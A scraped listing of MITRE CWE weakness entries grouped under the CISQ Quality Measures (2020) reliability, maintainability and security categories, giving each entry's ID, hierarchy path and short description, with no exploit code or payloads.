The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Loop with Unreachable Exit Condition ('Infinite Loop')
- (835)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
835
(Loop with Unreachable Exit Condition ('Infinite Loop'))
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Uninitialized Resource
- (908)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
908
(Use of Uninitialized Resource)
The product uses or accesses a resource that has not been initialized.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor
- (1045)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1045
(Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor)
A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Initialization with Hard-Coded Network Resource Configuration Data
- (1051)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1051
(Initialization with Hard-Coded Network Resource Configuration Data)
The product initializes data using hard-coded values that act as network resource identifiers.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Serialization Control Element
- (1066)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1066
(Missing Serialization Control Element)
The product contains a serializable data element that does not
have an associated serialization method.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Serializable Data Element Containing non-Serializable Item Elements
- (1070)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1070
(Serializable Data Element Containing non-Serializable Item Elements)
The product contains a serializable, storable data element such as a field or member,
but the data element contains member elements that are not
serializable.
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
Floating Point Comparison with Incorrect Operator
- (1077)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1077
(Floating Point Comparison with Incorrect Operator)
The code performs a comparison such as an
equality test between two float (floating point) values, but
it uses comparison operators that do not account for the
possibility of loss of precision.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Parent Class without Virtual Destructor Method
- (1079)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1079
(Parent Class without Virtual Destructor Method)
A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Class Instance Self Destruction Control Element
- (1082)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1082
(Class Instance Self Destruction Control Element)
The code contains a class instance that calls the method or function to delete or destroy itself.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Data Access from Outside Expected Data Manager Component
- (1083)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1083
(Data Access from Outside Expected Data Manager Component)
The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Class with Virtual Method without a Virtual Destructor
- (1087)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1087
(Class with Virtual Method without a Virtual Destructor)
A class contains a virtual method, but the method does not have an associated virtual destructor.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Synchronous Access of Remote Resource without Timeout
- (1088)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1088
(Synchronous Access of Remote Resource without Timeout)
The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Data Element containing Pointer Item without Proper Copy Control Element
- (1098)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1098
(Data Element containing Pointer Item without Proper Copy Control Element)
The code contains a data element with a pointer that does not have an associated copy or constructor method.
Category - a CWE entry that contains a set of other entries that share a common characteristic.
CISQ Quality Measures - Maintainability
- (1307)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability)
Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Inefficient Algorithmic Complexity
- (407)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
407
(Inefficient Algorithmic Complexity)
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
Quadratic Complexity
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Missing Default Case in Multiple Condition Expression
- (478)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
478
(Missing Default Case in Multiple Condition Expression)
The code does not have a default case in an expression with multiple conditions, such as a switch statement.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Incorrect Operator
- (480)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
480
(Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Omitted Break Statement in Switch
- (484)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
484
(Omitted Break Statement in Switch)
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Dead Code
- (561)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
561
(Dead Code)
The product contains dead code, which can never be executed.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Expression is Always False
- (570)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
570
(Expression is Always False)
The product contains an expression that will always evaluate to false.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Expression is Always True
- (571)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
571
(Expression is Always True)
The product contains an expression that will always evaluate to true.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Operator Precedence Logic Error
- (783)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
783
(Operator Precedence Logic Error)
The product uses an expression in which operator precedence causes incorrect logic to be used.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Redundant Code
- (1041)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1041
(Use of Redundant Code)
The product has multiple functions, methods, procedures, macros, etc. that
contain the same code.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor
- (1045)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1045
(Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor)
A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Modules with Circular Dependencies
- (1047)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1047
(Modules with Circular Dependencies)
The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invokable Control Element with Large Number of Outward Calls
- (1048)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1048
(Invokable Control Element with Large Number of Outward Calls)
The code contains callable control elements that
contain an excessively large number of references to other
application objects external to the context of the callable,
i.e. a Fan-Out value that is excessively large.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Initialization with Hard-Coded Network Resource Configuration Data
- (1051)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1051
(Initialization with Hard-Coded Network Resource Configuration Data)
The product initializes data using hard-coded values that act as network resource identifiers.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Excessive Use of Hard-Coded Literals in Initialization
- (1052)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1052
(Excessive Use of Hard-Coded Literals in Initialization)
The product initializes a data element using a hard-coded
literal that is not a simple integer or static constant element.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer
- (1054)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1054
(Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer)
The code at one architectural layer invokes code that resides
at a deeper layer than the adjacent layer, i.e., the invocation skips at least one
layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Multiple Inheritance from Concrete Classes
- (1055)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1055
(Multiple Inheritance from Concrete Classes)
The product contains a class with inheritance from more than
one concrete class.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Parent Class with References to Child Class
- (1062)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1062
(Parent Class with References to Child Class)
The code has a parent class that contains references to a child class, its methods, or its members.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invokable Control Element with Signature Containing an Excessive Number of Parameters
- (1064)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1064
(Invokable Control Element with Signature Containing an Excessive Number of Parameters)
The product contains a function, subroutine, or method whose signature has an unnecessarily large number of
parameters/arguments.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Class with Excessively Deep Inheritance
- (1074)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1074
(Class with Excessively Deep Inheritance)
A class has an inheritance level that is too high, i.e., it
has a large number of parent classes.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Unconditional Control Flow Transfer outside of Switch Block
- (1075)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1075
(Unconditional Control Flow Transfer outside of Switch Block)
The product performs unconditional control transfer (such as a
"goto") in code outside of a branching structure such as a switch
block.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Parent Class without Virtual Destructor Method
- (1079)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1079
(Parent Class without Virtual Destructor Method)
A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Source Code File with Excessive Number of Lines of Code
- (1080)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1080
(Source Code File with Excessive Number of Lines of Code)
A source code file has too many lines of
code.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invokable Control Element with Excessive File or Data Access Operations
- (1084)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1084
(Invokable Control Element with Excessive File or Data Access Operations)
A function or method contains too many
operations that utilize a data manager or file resource.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Invokable Control Element with Excessive Volume of Commented-out Code
- (1085)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1085
(Invokable Control Element with Excessive Volume of Commented-out Code)
A function, method, procedure, etc. contains an excessive amount of code that has been
commented out within its body.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Class with Excessive Number of Child Classes
- (1086)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1086
(Class with Excessive Number of Child Classes)
A class contains an unnecessarily large number of
children.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Class with Virtual Method without a Virtual Destructor
- (1087)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1087
(Class with Virtual Method without a Virtual Destructor)
A class contains a virtual method, but the method does not have an associated virtual destructor.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Method Containing Access of a Member Element from Another Class
- (1090)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1090
(Method Containing Access of a Member Element from Another Class)
A method for a class performs an operation that directly
accesses a member element from another class.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Loop Condition Value Update within the Loop
- (1095)
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1095
(Loop Condition Value Update within the Loop)
The product uses a loop with a control flow condition based on
a value that is updated within the body of the loop.
Category - a CWE entry that contains a set of other entries that share a common characteristic.
CISQ Quality Measures - Security
- (1308)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security)
Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- (22)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Directory traversal
Path traversal
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Relative Path Traversal
- (23)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) >
23
(Relative Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
Zip Slip
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Absolute Path Traversal
- (36)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) >
36
(Absolute Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Neutralization of Special Elements used in a Command ('Command Injection')
- (77)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Command injection
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Executable Regular Expression Error
- (624)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
624
(Executable Regular Expression Error)
The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- (78)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
78
(Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Shell injection
Shell metacharacters
OS Command Injection
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
- (88)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
88
(Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))
The product constructs a string for a command to be executed by a separate component
in another control sphere, but it does not properly delimit the
intended arguments, options, or switches within that command string.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
- (917)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
917
(Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'))
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
EL Injection
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- (89)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
89
(Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
SQL injection
SQLi
Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
SQL Injection: Hibernate
- (564)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
89
(Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) >
564
(SQL Injection: Hibernate)
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
- (90)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
90
(Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
XML Injection (aka Blind XPath Injection)
- (91)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
91
(XML Injection (aka Blind XPath Injection))
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Control of Resource Identifiers ('Resource Injection')
- (99)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
99
(Improper Control of Resource Identifiers ('Resource Injection'))
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
Insecure Direct Object Reference
Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
Improper Restriction of Operations within the Bounds of a Memory Buffer
- (119)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer)
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Buffer Overflow
buffer overrun
memory safety
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
- (120)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
120
(Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
Classic Buffer Overflow
Unbounded Transfer
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Write-what-where Condition
- (123)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
123
(Write-what-where Condition)
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Out-of-bounds Read
- (125)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
125
(Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer.
OOB read
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Improper Handling of Length Parameter Inconsistency
- (130)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
130
(Improper Handling of Length Parameter Inconsistency)
The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
length manipulation
length tampering
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Access of Memory Location Before Start of Buffer
- (786)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
786
(Access of Memory Location Before Start of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Out-of-bounds Write
- (787)
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write)
The product writes data past the end, or before the beginning, of the intended buffer.
Memory Corruption
